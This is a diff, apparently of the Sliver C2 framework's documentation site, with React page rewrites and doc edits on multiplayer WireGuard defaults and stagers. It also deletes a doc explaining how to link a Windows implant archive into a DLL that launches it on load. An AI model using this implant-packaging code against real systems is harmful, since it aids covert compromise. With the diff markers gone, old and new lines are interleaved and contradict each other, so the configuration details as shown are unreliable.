const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-large";
} else {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible rounded-large";
}
}, [theme]);
if (isLoading || !docs || (hasNameQueryInPath && !name)) {
return <LoadingState />;
@@ -119,144 +90,104 @@ const DocsIndexPage: NextPage = () => {
return (
<>
<Head>
<title>{name ? `${name} · Sliver Docs` : "Sliver Documentation"}</title>
<title>Sliver Docs: {name}</title>
</Head>
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
<div className="mb-8 lg:hidden">
<div className="flex items-center gap-3">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faBookOpen} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Documentation</p>
<p className="text-xs text-muted">Browse the reference library</p>
</div>
</div>
<div className="mt-5">{renderFilterInput()}</div>
<label
htmlFor="docs-mobile-selector"
className="mt-4 block text-sm font-medium text-foreground"
>
Document
</label>
<select
id="docs-mobile-selector"
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/docs",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse documents…</option>
{mobileDocs.map((doc) => (
<option key={doc.name} value={doc.name}>
{doc.name}
</option>
))}
</select>
<div className="px-4 pt-4 lg:hidden">
<label
htmlFor="docs-mobile-selector"
className="block text-sm font-medium text-foreground"
>
Select a document
</label>
<div className="mt-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
<div className="flex h-full min-h-0 flex-col gap-5">
<div className="flex items-center gap-3 px-1">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faBookOpen} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Documentation</p>
<p className="text-xs text-muted">{docs.docs.length} articles</p>
</div>
</div>
{renderFilterInput()}
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
<ListBox
aria-label="Documentation"
className={listboxClasses}
selectedKeys={name ? [name] : []}
selectionMode="single"
>
{visibleDocs.map((doc) => (
<ListBox.Item
key={doc.name}
id={doc.name}
href={`/docs/?name=${encodeURIComponent(doc.name)}`}
textValue={doc.name}
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
doc.name === name
? "bg-surface font-medium text-foreground shadow-surface"
: "text-muted"
}`}
>
{doc.name}
</ListBox.Item>
))}
</ListBox>
</ScrollShadow>
</div>
</aside>
<div
key={name || "documentation-overview"}
className="min-w-0 pb-16 lg:pr-4"
>
{name !== "" ? (
<article className="mx-auto w-full max-w-4xl">
<header className="mb-8 border-b border-separator/70 pb-8">
<p className="text-sm font-medium text-accent">Reference</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
{name}
</h1>
</header>
<select
id="docs-mobile-selector"
className="mt-3 w-full rounded-lg border border-default-200 bg-content1 p-2 text-sm dark:border-default-100/60"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/docs",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse documents…</option>
{mobileDocs.map((doc) => (
<option key={doc.name} value={doc.name}>
{doc.name}
</option>
))}
</select>
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
<ScrollShadow className="max-h-[calc(100vh-15rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-large">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-large last:rounded-b-large rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{visibleDocs.map((doc) => (
<ListboxItem
key={doc.name}
onClick={() => {
router.push({
pathname: "/docs",
query: { name: doc.name },
});
}}
>
{doc.name}
</ListboxItem>
))}
</Listbox>
</ScrollShadow>
</div>
</aside>
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
{name !== "" ? (
<Card className="mt-2">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<MarkdownViewer
key={name}
markdown={markdown || ""}
demoteTopLevelHeading
/>
</article>
) : (
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
<h1 className="text-sm font-medium text-accent">
Sliver reference
</h1>
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
Browse configuration, transports, extensions, payloads, and
troubleshooting guidance for the Sliver framework.
</p>
<div className="mt-10 grid gap-4 sm:grid-cols-2">
{featuredDocs.map((doc) => (
<Card key={doc.name} className="h-full">
<Card.Header>
<Card.Title>{doc.name}</Card.Title>
<Card.Description>
Open this topic in the Sliver reference.
</Card.Description>
</Card.Header>
<Card.Footer className="mt-auto">
<Button
variant="ghost"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: doc.name },
});
}}
>
Open article
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
</CardBody>
</Card>
) : (
<div className="mt-8 text-center text-2xl text-foreground/90">
Welcome to the Sliver Wiki!
<div className="mt-2 text-xl text-default-500">
Please select a document
</div>
)}
</div>
</div>
)}
</div>
</div>
</>
@@ -20,7 +20,7 @@
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-20
- https://blog.ecapuano.com/p/so-you-want-to-be-a-soc-analyst-part-ea2
- https://wsummerhill.github.io/redteam/2023/07/25/Sliver-C2-Usage-for-Red-Teams.html
- https://rootsecdev.medium.com/hacking-active-directory-with-sliver-c2-19d7ceabbf13
- https://dev.to/living_syn/sliver-and-cursed-chrome-for-post-exploitation-4gnk
@@ -2,7 +2,7 @@ You'll want to compile Sliver from a MacOS or Linux machine. Compiling from nati
To compile from source you'll need:
- Go v1.26.6 or later
- Go v1.25 or later
- `make` (on MacOS you may need to install XCode and accompanying cli tools)
```asciinema
@@ -12,7 +12,7 @@ daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
disable_wg: false
logs:
level: 4
grpc_unary_payloads: false
@@ -54,7 +54,7 @@ cxx: {}
- `host` - Interface to bind the daemon listener to. Empty string means all interfaces.
- `port` - Listen port for the multiplayer listener.
- `tailscale` - Enable Tailscale for daemon listener setup. When enabled, Sliver does not wrap multiplayer in its own WireGuard layer.
- `enable_wg` - Wrap multiplayer in WireGuard. If omitted or false, multiplayer is exposed directly over mTLS.
- `disable_wg` - Expose multiplayer directly over mTLS instead of the default WireGuard-protected mode.
- `logs` - Server logging options.
- `level` - `logrus` level (`0`-`6`, clamped by Sliver). `4` is `INFO`, `5` is `DEBUG`, `6` is `TRACE`.
- `grpc_unary_payloads` - Log gRPC unary payloads.
@@ -159,4 +159,4 @@ The `wg` block is optional:
- When present, `sliver-client` automatically brings up the multiplayer WireGuard wrapper and then dials the in-tunnel gRPC/mTLS service.
- When absent, the client connects directly to the multiplayer mTLS listener.
- Generate a WireGuard-enabled profile with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the multiplayer WireGuard wrapper.
- Generate a direct-only profile with `new-operator --disable-wg` or `sliver-server operator --disable-wg` when you need compatibility with external gRPC clients that do not implement the multiplayer WireGuard wrapper.
@@ -7,7 +7,7 @@ Current Sliver releases generate multiplayer operator configs with a `wg` block
If you are writing a custom client in another language, you have two options:
- Implement the multiplayer WireGuard wrapper described in [multiplayer mode](/docs?name=Multi-player+Mode), then connect to the in-tunnel gRPC/mTLS service.
- Keep multiplayer in direct mode by default, or explicitly opt into the wrapper with `multiplayer --enable-wg` or `sliver-server daemon --enable-wg`. Generate matching operator profiles with `new-operator --enable-wg` or `sliver-server operator --enable-wg` when you want the client-side WireGuard wrapper.
- Keep multiplayer in direct mode by starting the listener with `multiplayer --disable-wg` or `sliver-server daemon --disable-wg`, then generate operator profiles with `new-operator --disable-wg` or `sliver-server operator --disable-wg`.
Once connected, the client/server API is still gRPC, so any language with gRPC support can in theory be used to create a custom client.
@@ -15,11 +15,11 @@ If `server.yaml` does not exist, Sliver generates it. If a legacy `server.json`
- `-l, --lhost` multiplayer listener host
- `-p, --lport` multiplayer listener port
- `-t, --tailscale` enable Tailscale listener
- `--enable-wg` wrap multiplayer in WireGuard instead of exposing it directly over mTLS
- `--disable-wg` expose multiplayer directly over mTLS instead of using the default WireGuard wrapper
- `-f, --force` force unpack static assets
- For `sliver-server daemon`, `--lhost` and `--lport` override config values. If omitted, Sliver uses `daemon.host` and `daemon.port` from `server.yaml`.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` and `daemon.enable_wg` from `server.yaml`.
- With `--enable-wg` or `daemon.enable_wg: true`, multiplayer is wrapped in WireGuard. Otherwise it stays on direct TCP mTLS.
- For normal startup (`sliver-server`) with `daemon_mode: true`, Sliver uses `daemon.tailscale` and `daemon.disable_wg` from `server.yaml`.
- With `--disable-wg` or `daemon.disable_wg: true`, multiplayer falls back to direct TCP mTLS on the configured port.
### Example Config
@@ -29,7 +29,7 @@ daemon:
host: ""
port: 31337
tailscale: false
enable_wg: false
disable_wg: false
logs:
level: 4
grpc_unary_payloads: false
@@ -49,7 +49,7 @@ Since daemon mode does not provide an interactive server console, generate opera
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```
The `operator` CLI generates direct multiplayer profiles by default. Add `--enable-wg` when the daemon is running with the WireGuard wrapper.
The `operator` CLI matches the daemon's multiplayer exposure by default. If the daemon is running in direct mode or over Tailscale, the generated config omits the multiplayer `wg` block automatically. You can also force a direct-only profile with `--disable-wg`.
### Shutdown Behavior
@@ -1,127 +0,0 @@
Sliver can generate Go c-archive output for use in native link workflows. The archive format returns a ZIP bundle containing the generated static archive (`.a`) and C headers (`.h`) produced by Go's `c-archive` build mode.
Use this format when you want to link the generated implant entrypoint into another native artifact, such as a DLL or application, and validate that the exported symbol resolves correctly in your own loader or harness.
## Generate an Archive
For the example, a Windows archive was generated via the Sliver console:
```shell
sliver > generate --format archive --os windows --arch amd64 --mtls 127.0.0.1
```
The output ZIP contains an archive (`.a`) file and the headers (`.h`).
```text
ARCHITECTURAL_YOKE.a
ARCHITECTURAL_YOKE.h
main.h
```
If no export symbols are configured, Sliver exports `StartW` by default. The examples below assume the generated implant name is `ARCHITECTURAL_YOKE`; replace that name with the files generated in your environment.
## Link the Archive into a DLL
Create a wrapper that calls `StartW` from a worker thread when the DLL loads, which keeps `DllMain` lightweight and avoids doing long-running initialization work while the Windows loader lock is held.
```cpp
#include "ARCHITECTURAL_YOKE.h"
#include <windows.h>
DWORD WINAPI WorkerThread(LPVOID lpParam)
{
StartW();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
HANDLE hThread = CreateThread(NULL, 0, WorkerThread, NULL, 0, NULL);
if (hThread != NULL) {
CloseHandle(hThread);
}
}
return TRUE;
}
```
Compile the wrapper and link it with the generated archive:
```shell
x86_64-w64-mingw32-g++ -std=c++11 -Wall -I. -shared -o beacon.dll wrapper.cpp ARCHITECTURAL_YOKE.a
```
## Validate Symbol Resolution
Sample minimal loader to confirm the DLL loads and the `StartW` export resolves:
```c
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
FARPROC p = GetProcAddress(h, "StartW");
printf("LoadLibrary OK, StartW=%p\n", p);
FreeLibrary(h);
return 0;
}
```
Build the loader:
```shell
x86_64-w64-mingw32-gcc -Wall -o loader.exe loader.c
```
Run the loader in an authorized local test environment with `beacon.dll` in the same directory.
## Validate Invocation
To validate that the resolved entrypoint can be invoked, use a small test application:
```c
#include <windows.h>
#include <stdio.h>
typedef void (*StartWFn)(void);
int main() {
HMODULE h = LoadLibraryA("beacon.dll");
if (!h) {
printf("LoadLibrary failed: %lu\n", GetLastError());
return 1;
}
StartWFn StartW = (StartWFn)GetProcAddress(h, "StartW");
if (!StartW) {
printf("GetProcAddress failed: %lu\n", GetLastError());
return 1;
}
printf("Calling StartW...\n");
StartW();
printf("StartW returned\n");
FreeLibrary(h);
return 0;
}
```
Build the invocation test:
```shell
x86_64-w64-mingw32-gcc -Wall -o call_startw.exe call_startw.c
```
This validates the archive-to-DLL link path, DLL loading, export lookup, and `StartW` invocation all work as expected.
@@ -1,6 +1,6 @@
Multiplayer mode allows multiple operators to connect to the same Sliver server and collaborate on engagements. The easiest way to set up a server for multiplayer is to use the [Linux install script](/docs?name=Linux+Install+Script), which configures the server as a systemd service. However, any `sliver-server` binary supports multiplayer mode.
Sliver exposes the operator-facing multiplayer listener directly over gRPC/mTLS by default. You can opt into a dedicated WireGuard wrapper with `--enable-wg`; the gRPC/mTLS authentication stack still runs inside that tunnel.
By default, Sliver now protects the operator-facing multiplayer listener with a dedicated WireGuard wrapper. The gRPC/mTLS authentication stack is still used inside the tunnel, but the server no longer exposes the multiplayer gRPC listener directly unless you explicitly opt out with `--disable-wg`.
```
┌──────────────────┐ C2
@@ -53,7 +53,7 @@ From the server, start the multiplayer listener and generate an operator config
[*] Saved new client config to: /Users/moloch/Desktop/moloch_example.com.cfg
```
**IMPORTANT:** Before clients can connect to a server you must start a multiplayer listener with the `multiplayer` command. By default multiplayer is exposed directly on TCP/31337. If you enable the wrapper, the outer listener becomes UDP/31337 and the gRPC/mTLS service stays inside the tunnel.
**IMPORTANT:** Before clients can connect to a server you must start a multiplayer listener with the `multiplayer` command. In the default WireGuard-protected mode the outer listener is UDP/31337. If you disable the wrapper, multiplayer is exposed directly on TCP/31337 instead.
You can now give this configuration file `moloch_example.com.cfg` to the operator and they can connect to the server using the `sliver-client` binary. The Sliver client will look for configuration files in `~/.sliver-client/configs/` or you can import configs using the `import` CLI. The configs directory can contain multiple configs for different servers.
@@ -71,11 +71,11 @@ $ ./sliver-client
If you want the old behavior, or you need compatibility with third-party gRPC clients that do not implement the multiplayer WireGuard wrapper, disable it on both the listener and the generated operator profile:
```
[server] sliver > multiplayer
[server] sliver > multiplayer --disable-wg
[*] Multiplayer mode enabled!
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all
[server] sliver > new-operator --name tester --lhost 1.2.3.4 --permissions all --disable-wg
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/Desktop/tester_example.com.cfg
@@ -85,13 +85,13 @@ In direct mode:
- Multiplayer is exposed directly over TCP on `--lport` (default `31337`).
- Generated operator configs omit the `wg` block.
- `sliver-client --enable-wg` opts into the multiplayer WireGuard wrapper when the operator config includes a `wg` block.
- `sliver-client --disable-wg` forces a direct connection even if the config includes a `wg` block.
The listener mode, operator config, and client flag need to match. A WireGuard-wrapped listener needs a `wg` block in the operator profile plus `sliver-client --enable-wg`. Direct multiplayer works without the `wg` block and without the flag.
The listener mode and the operator config need to match. A WireGuard-enabled config cannot talk to a direct listener, and a direct-only client cannot talk to the default WireGuard-wrapped listener.
### Server CLI / Daemon Mode Multiplayer
If the server is running in daemon mode, the multiplayer listener is started for you without an interactive console. By default the daemon uses direct multiplayer mTLS. You can opt into the WireGuard wrapper with `sliver-server daemon --enable-wg` or `daemon.enable_wg: true` in `server.yaml`.
If the server is running in daemon mode, the multiplayer listener is started for you without an interactive console. By default the daemon uses the same WireGuard-protected multiplayer mode described above. You can switch the daemon back to direct exposure with `sliver-server daemon --disable-wg` or `daemon.disable_wg: true` in `server.yaml`.
Use the server CLI to generate operator configuration files:
@@ -99,7 +99,7 @@ Use the server CLI to generate operator configuration files:
./sliver-server operator --name zer0cool --lhost 1.2.3.4 --permissions all --save zer0cool.cfg
```
Operator profiles omit the multiplayer `wg` block by default. Add `--enable-wg` when the listener is wrapped in WireGuard.
When daemon mode is configured for direct multiplayer or Tailscale, the CLI automatically omits the `wg` block by default. You can also force a direct-only profile with `--disable-wg`.
The installation script places the `sliver-server` binary in `/root` by default.
@@ -116,4 +116,4 @@ $ ./sliver-server
sliver > multiplayer -T
```
You should now see a new Tailscale host named `sliver-server-<machine>`. Use that hostname as `--lhost` when generating operator configs for other hosts on the same tailnet. Tailscale multiplayer does not use the multiplayer WireGuard wrapper, so operator profiles should be generated without `--enable-wg`.
You should now see a new Tailscale host named `sliver-server-<machine>`. Use that hostname as `--lhost` when generating operator configs for other hosts on the same tailnet. If you generate the operator config before enabling Tailscale multiplayer, add `--disable-wg` explicitly so the profile does not include the multiplayer `wg` block.
+2 -6
View File
@@ -14,7 +14,7 @@ For this to work, we need the following pieces:
- a staging server (the Sliver server)
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
- stagers (generated by `msfvenom` or built by hand, see [Custom Stagers](#custom-stagers) below)
- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one)
## Example
@@ -81,11 +81,7 @@ ID Name Protocol Port
**Using Metasploit stagers is only supported on Windows.**
> **Note:** The Sliver `generate stager` command has been removed and will no longer
> work. Generate stagers using Metasploit's `msfvenom` (or write your own custom
> stager, see [Custom Stagers](#custom-stagers) below).
#### Generating an HTTP(S) stager
#### Generating an HTTP stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
```
+134 -198
View File
@@ -1,212 +1,148 @@
import AsciinemaPlayer from "@/components/asciinema";
import { SliversIcon } from "@/components/icons/slivers";
import TutorialCard from "@/components/tutorial-card";
import {
faArrowUpRightFromSquare,
faDownload,
} from "@fortawesome/free-solid-svg-icons";
import { Themes } from "@/util/themes";
import { faDownload, faExternalLink } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, buttonVariants } from "@heroui/react";
import Head from "next/head";
import Link from "next/link";
import { Button, Card, CardBody, CardHeader, Divider, Link } from "@heroui/react";
import { useTheme } from "next-themes";
import { useRouter } from "next/router";
import React from "react";
export default function Home() {
const router = useRouter();
const { resolvedTheme } = useTheme();
const [mounted, setMounted] = React.useState(false);
React.useEffect(() => {
setMounted(true);
}, []);
const isDarkTheme = React.useMemo(() => {
if (!mounted) {
return true;
}
return (resolvedTheme || Themes.DARK) !== Themes.LIGHT;
}, [mounted, resolvedTheme]);
return (
<>
<Head>
<title>Sliver C2 Documentation</title>
<meta
name="description"
content="Documentation, tutorials, and community resources for the Sliver command and control framework."
/>
</Head>
<div className="relative overflow-hidden">
<div className="sliver-grid-surface pointer-events-none absolute inset-x-0 top-0 h-[34rem] opacity-55" />
<div className="relative mx-auto w-full max-w-7xl px-4 pb-20 pt-8 sm:px-6 sm:pt-12 lg:px-8 lg:pt-16">
<section className="grid min-w-0 grid-cols-1 items-stretch gap-6 lg:grid-cols-12">
<div className="min-w-0 lg:col-span-7">
<Card className="relative h-full min-w-0 gap-0 overflow-hidden rounded-3xl bg-black p-0 shadow-surface">
<div className="absolute right-3 top-3 z-10 max-w-[calc(100%_-_1.5rem)]">
<Link
href="/tutorials"
aria-label="Browse Sliver tutorials"
className="inline-flex min-w-0 cursor-pointer items-center gap-2.5 rounded-xl border border-white/15 bg-black/55 px-3 py-2 text-white no-underline shadow-lg outline-none backdrop-blur-xl hover:bg-black/70 focus-visible:ring-2 focus-visible:ring-white/70"
>
<span className="flex size-7 shrink-0 items-center justify-center rounded-lg bg-white/10 text-white/90">
<SliversIcon height={16} />
</span>
<div className="min-w-0">
<p className="truncate text-xs font-semibold">
Sliver operator console
</p>
<p className="truncate text-[11px] text-white/60">
Interactive command tour
</p>
</div>
</Link>
</div>
<div className="sliver-terminal-frame min-h-[20rem] flex-1 overflow-x-auto bg-[#111315] sm:min-h-[24rem]">
<AsciinemaPlayer
className="sliver-asciinema-bottom-aligned h-full w-full sm:min-w-[35rem]"
src="/asciinema/intro.cast"
fit="width"
hideControls
rows="18"
cols="75"
idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
</Card>
</div>
<Card className="h-full bg-surface/80 shadow-surface backdrop-blur-2xl lg:col-span-5">
<Card.Header className="pb-3">
<div className="min-w-0">
<p className="text-sm font-medium text-accent">
Operator documentation
</p>
<h1 className="mt-1 text-balance text-3xl font-semibold tracking-tight text-foreground sm:text-4xl">
Sliver Command &amp; Control
</h1>
</div>
</Card.Header>
<Card.Content className="pt-2">
<p className="text-pretty text-base leading-7 text-muted">
Sliver is a cross-platform command and control framework for
professional red teams. Operate over mTLS, WireGuard, HTTP(S),
and DNS from one console, with broad operating-system and CPU
architecture support.
</p>
<p className="mt-4 text-sm leading-6 text-muted">
Start with the operator guide, download the latest release, or
extend your workflow with community packages from the Armory.
</p>
</Card.Content>
<Card.Footer className="mt-auto flex-col items-stretch gap-3 pt-5">
<div className="grid grid-cols-1 gap-3 sm:grid-cols-2">
<Button
fullWidth
variant="primary"
onPress={() =>
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
})
}
>
Get started
</Button>
<Button
className="[--button-bg-hover:var(--color-purple-700)] [--button-bg-pressed:var(--color-purple-700)] [--button-bg:var(--color-purple-600)] [--button-fg:var(--color-white)]"
fullWidth
variant="tertiary"
onPress={() => {
window.open(
"https://github.com/BishopFox/sliver/releases/latest",
"_blank",
"noopener,noreferrer",
);
}}
>
<FontAwesomeIcon icon={faDownload} />
Latest release
</Button>
</div>
<a
className={buttonVariants({
fullWidth: true,
variant: "secondary",
})}
href="https://github.com/sliverarmory"
target="_blank"
rel="noreferrer"
>
Browse the Armory
<FontAwesomeIcon
className="text-xs"
icon={faArrowUpRightFromSquare}
/>
</a>
</Card.Footer>
</Card>
</section>
<section
aria-labelledby="quick-guides-heading"
className="mt-12 border-t border-separator/70 pt-10"
>
<div className="flex flex-col gap-3 sm:flex-row sm:items-end sm:justify-between">
<div>
<h2
id="quick-guides-heading"
className="text-sm font-medium text-accent"
>
Quick guides
</h2>
<blockquote className="mt-1 max-w-3xl text-xl font-medium italic leading-snug tracking-tight text-foreground sm:text-2xl">
Bred as living shields, these slivers have proven unruly—they
know they cannot be caught.
</blockquote>
</div>
<Button
variant="ghost"
onPress={() => router.push("/tutorials")}
>
Browse all tutorials
</Button>
</div>
<div className="mt-6 grid min-w-0 grid-cols-1 gap-5 xl:grid-cols-2">
<TutorialCard
name="Getting Started"
description="Install Sliver and open your first operator workflow."
asciiCast="/asciinema/install-1.cast"
cols="133"
rows="32"
idleTimeLimit={1}
hideControls
showButton={true}
buttonText="Read guide"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
});
}}
/>
<TutorialCard
name="Compile from Source"
description="Build a development copy and understand the toolchain."
asciiCast="/asciinema/compile-from-source.cast"
cols="133"
rows="32"
idleTimeLimit={1}
hideControls
showButton={true}
buttonText="Read guide"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Compile from Source" },
});
}}
/>
</div>
</section>
<div className="mt-6 flex flex-col gap-6 px-4 sm:px-6 lg:grid lg:grid-cols-12 lg:px-12">
<div className="lg:col-span-6">
<div className="w-full overflow-hidden rounded-xl border border-default-200 bg-content1 shadow-sm dark:border-default-100/60">
<div className="w-full overflow-x-auto lg:overflow-visible">
<AsciinemaPlayer
src="/asciinema/intro.cast"
rows="18"
cols="75"
idleTimeLimit={60}
preload={true}
autoPlay={true}
loop={true}
/>
</div>
</div>
</div>
</>
<div className="lg:col-span-6 lg:ml-2">
<Card className="mx-auto max-w-3xl lg:mx-0">
<CardHeader>
<div className="flex items-center">
<SliversIcon className="mr-2" height={28} />
<span className="text-2xl">Sliver Command &amp; Control</span>
</div>
</CardHeader>
<Divider />
<CardBody>
<p className={isDarkTheme ? "prose dark:prose-invert" : "prose prose-slate"}>
Sliver is a powerful command and control (C2) framework designed
to provide advanced capabilities for covertly managing and
controlling remote systems. With Sliver, security professionals,
red teams, and penetration testers can easily establish a secure
and reliable communication channel over Mutual TLS, HTTP(S), DNS,
or Wireguard with target machines. Enabling them to execute
commands, gather information, and perform various
post-exploitation activities. The framework offers a user-friendly
console interface, extensive functionality, and support for
multiple operating systems as well as multiple CPU architectures,
making it an indispensable tool for conducting comprehensive
offensive security operations.
</p>
<div className="mt-4 flex w-full gap-3">
<Button
className="flex-1"
color="primary"
variant="shadow"
as={Link}
href="https://github.com/BishopFox/sliver/releases/latest"
target="_blank"
rel="noopener noreferrer"
startContent={<FontAwesomeIcon icon={faDownload} />}
>
Download Latest Release
</Button>
<Button
className="flex-1"
color="secondary"
variant="ghost"
as={Link}
href="https://github.com/sliverarmory"
target="_blank"
rel="noopener noreferrer"
endContent={<FontAwesomeIcon icon={faExternalLink} />}
>
Visit the Armory
</Button>
</div>
</CardBody>
</Card>
</div>
<div className="col-span-12 mt-8">
<Divider />
</div>
<div className="col-span-12 mt-8">
<div className="grid gap-4 sm:grid-cols-2 lg:grid-cols-9">
<div className="sm:col-span-1 lg:col-span-3">
<TutorialCard
name="Getting Started"
description="A quick start guide to get you up and running"
asciiCast="/asciinema/install-1.cast"
cols="133"
rows="32"
idleTimeLimit={1}
showButton={true}
buttonText="Read Docs"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Getting Started" },
});
}}
/>
</div>
<div className="sm:col-span-1 lg:col-span-3">
<TutorialCard
name="Compile From Source"
description="How to compile Sliver from source"
asciiCast="/asciinema/compile-from-source.cast"
cols="133"
rows="32"
idleTimeLimit={1}
showButton={true}
buttonText="Read Docs"
onPress={() => {
router.push({
pathname: "/docs",
query: { name: "Compile from Source" },
});
}}
/>
</div>
</div>
</div>
<div className="col-span-12 mb-8"></div>
</div>
);
}
+38 -137
View File
@@ -1,165 +1,66 @@
import LoadingState from "@/components/loading-state";
import { PREBUILD_VERSION } from "@/util/__generated__/prebuild-version";
import { fetchDocs as fetchDocsContent } from "@/util/content-fetchers";
import { SearchCtx } from "@/util/search-context";
import {
faChevronRight,
faMagnifyingGlass,
} from "@fortawesome/free-solid-svg-icons";
import MarkdownViewer from "@/components/markdown";
import { useSearchContext } from "@/util/search-context";
import { faChevronCircleRight } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { Button, Card, SearchField } from "@heroui/react";
import { useQuery } from "@tanstack/react-query";
import { Button, Card, CardBody, Divider } from "@heroui/react";
import { NextPage } from "next";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
export type SearchPageProps = {};
const createExcerpt = (markdown: string) => {
return markdown
.replace(/```[\s\S]*?```/g, " ")
.replace(/!\[[^\]]*\]\([^)]*\)/g, " ")
.replace(/\[([^\]]+)\]\([^)]*\)/g, "$1")
.replace(/[#>*_`~|-]/g, " ")
.replace(/\s+/g, " ")
.trim()
.slice(0, 240);
};
const SearchPage: NextPage = (props: SearchPageProps) => {
const router = useRouter();
const query = useSearchParams().get("search")?.trim() || "";
const { data: docs, isLoading } = useQuery({
queryKey: ["docs", PREBUILD_VERSION],
queryFn: () => fetchDocsContent(PREBUILD_VERSION),
});
const docsSearch = React.useMemo(() => {
const search = new SearchCtx();
if (docs) {
search.addDocs(docs);
}
return search;
}, [docs]);
const search = useSearchContext();
const query = useSearchParams().get("search");
const searchResults = React.useMemo(() => {
if (query) {
return docsSearch.searchDocs(query);
return search.searchDocs(query);
}
return [];
}, [docsSearch, query]);
if (isLoading || !docs) {
return <LoadingState />;
}
}, [query, search]);
return (
<>
<Head>
<title>{query ? `Search: ${query} · Sliver Docs` : "Search · Sliver Docs"}</title>
</Head>
<div className="mx-auto w-full max-w-5xl px-4 pb-20 pt-12 sm:px-6 lg:px-8 lg:pt-16">
<header className="max-w-3xl">
<p className="text-sm font-medium text-accent">Search the reference</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
Find exactly what you need.
</h1>
<p className="mt-4 text-lg leading-8 text-muted">
Search configuration, workflows, transports, extensions, and
troubleshooting notes across the Sliver documentation.
</p>
</header>
<SearchField
key={query}
aria-label="Search documentation"
className="mt-8 max-w-2xl"
defaultValue={query}
fullWidth
onClear={() => router.push("/search")}
onSubmit={(value) => {
const nextQuery = value.trim();
if (nextQuery) {
router.push({ pathname: "/search", query: { search: nextQuery } });
}
}}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faMagnifyingGlass} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Search documentation…" />
<SearchField.ClearButton aria-label="Clear search" />
</SearchField.Group>
</SearchField>
<div className="mt-10 flex items-end justify-between gap-4">
<div>
<h2 className="text-2xl font-semibold text-foreground">
